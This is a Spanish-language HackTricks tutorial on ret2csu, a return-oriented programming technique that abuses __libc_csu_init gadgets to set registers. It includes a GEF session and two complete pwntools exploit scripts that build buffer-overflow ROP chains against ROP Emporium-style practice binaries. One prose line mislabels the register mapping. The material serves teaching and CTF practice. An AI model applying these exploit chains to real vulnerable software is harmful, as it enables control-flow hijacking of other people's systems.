Ret2csu
Reading time: 7 minutes
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
https://www.scs.stanford.edu/brop/bittau-brop.pdfInformación Básica
ret2csu es una técnica de hacking utilizada cuando intentas tomar el control de un programa pero no puedes encontrar los gadgets que normalmente usas para manipular el comportamiento del programa.
Cuando un programa utiliza ciertas bibliotecas (como libc), tiene algunas funciones integradas para gestionar cómo diferentes partes del programa se comunican entre sí. Entre estas funciones hay algunas joyas ocultas que pueden actuar como nuestros gadgets faltantes, especialmente una llamada __libc_csu_init
.
Los Gadgets Mágicos en __libc_csu_init
En __libc_csu_init
, hay dos secuencias de instrucciones (gadgets) a destacar:
- La primera secuencia nos permite configurar valores en varios registros (rbx, rbp, r12, r13, r14, r15). Estos son como espacios donde podemos almacenar números o direcciones que queremos usar más tarde.
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
Este gadget nos permite controlar estos registros al sacar valores de la pila y colocarlos en ellos.
- La segunda secuencia utiliza los valores que configuramos para hacer un par de cosas:
- Mover valores específicos a otros registros, preparándolos para que los usemos como parámetros en funciones.
- Realizar una llamada a una ubicación determinada al sumar los valores en r15 y rbx, y luego multiplicar rbx por 8.
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
- Tal vez no conozcas ninguna dirección a la que escribir allí y necesitas una instrucción
ret
. Ten en cuenta que el segundo gadget también terminará en unret
, pero necesitarás cumplir con algunas condiciones para alcanzarlo:
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret
Las condiciones serán:
[r12 + rbx*8]
debe apuntar a una dirección que almacene una función callable (si no hay idea y no hay pie, puedes usar simplemente la función_init
):- Si _init está en
0x400560
, usa GEF para buscar un puntero en la memoria hacia ella y hacer que[r12 + rbx*8]
sea la dirección con el puntero a _init:
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
rbp
yrbx
deben tener el mismo valor para evitar el salto- Hay algunos pops omitidos que necesitas tener en cuenta
RDI y RSI
Otra forma de controlar rdi
y rsi
desde el gadget ret2csu es accediendo a sus offsets específicos:
 (1) (1) (1) (1) (1) (1) (1).png)
Consulta esta página para más información:
BROP - Blind Return Oriented Programming
Ejemplo
Usando la llamada
Imagina que quieres hacer una syscall o llamar a una función como write()
, pero necesitas valores específicos en los registros rdx
y rsi
como parámetros. Normalmente, buscarías gadgets que configuren estos registros directamente, pero no puedes encontrar ninguno.
Aquí es donde entra en juego ret2csu:
- Configura los Registros: Usa el primer gadget mágico para sacar valores de la pila y colocarlos en rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) y r15.
- Usa el Segundo Gadget: Con esos registros configurados, usas el segundo gadget. Esto te permite mover tus valores elegidos a
rdx
yrsi
(desde r14 y r13, respectivamente), preparando los parámetros para una llamada a función. Además, al controlarr15
yrbx
, puedes hacer que el programa llame a una función ubicada en la dirección que calculas y colocas en[r15 + rbx*8]
.
Tienes un ejemplo usando esta técnica y explicándolo aquí, y este es el exploit final que utilizó:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
warning
Tenga en cuenta que el exploit anterior no está destinado a hacer un RCE
, solo está destinado a llamar a una función llamada win
(tomando la dirección de win
de stdin llamando a gets en la cadena ROP y almacenándola en r15) con un tercer argumento con el valor 0xdeadbeefcafed00d
.
Eludir la llamada y alcanzar ret
El siguiente exploit fue extraído de esta página donde se utiliza ret2csu pero en lugar de usar la llamada, está eludiendo las comparaciones y alcanzando el ret
después de la llamada:
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
from pwn import *
# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b * 0x4007b0')
# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)
# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)
# Padding from start of input to saved return address
payload = "0"*0x28
# Our first gadget, and the values to be popped from the stack
# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX
# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15
# Finally the address of ret2win
payload += ret2win
# Send the payload
target.sendline(payload)
target.interactive()
¿Por qué no usar libc directamente?
Normalmente, estos casos también son vulnerables a ret2plt + ret2lib, pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función write()
requiere tres parámetros, y encontrar gadgets para establecer todos estos directamente puede no ser posible.
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.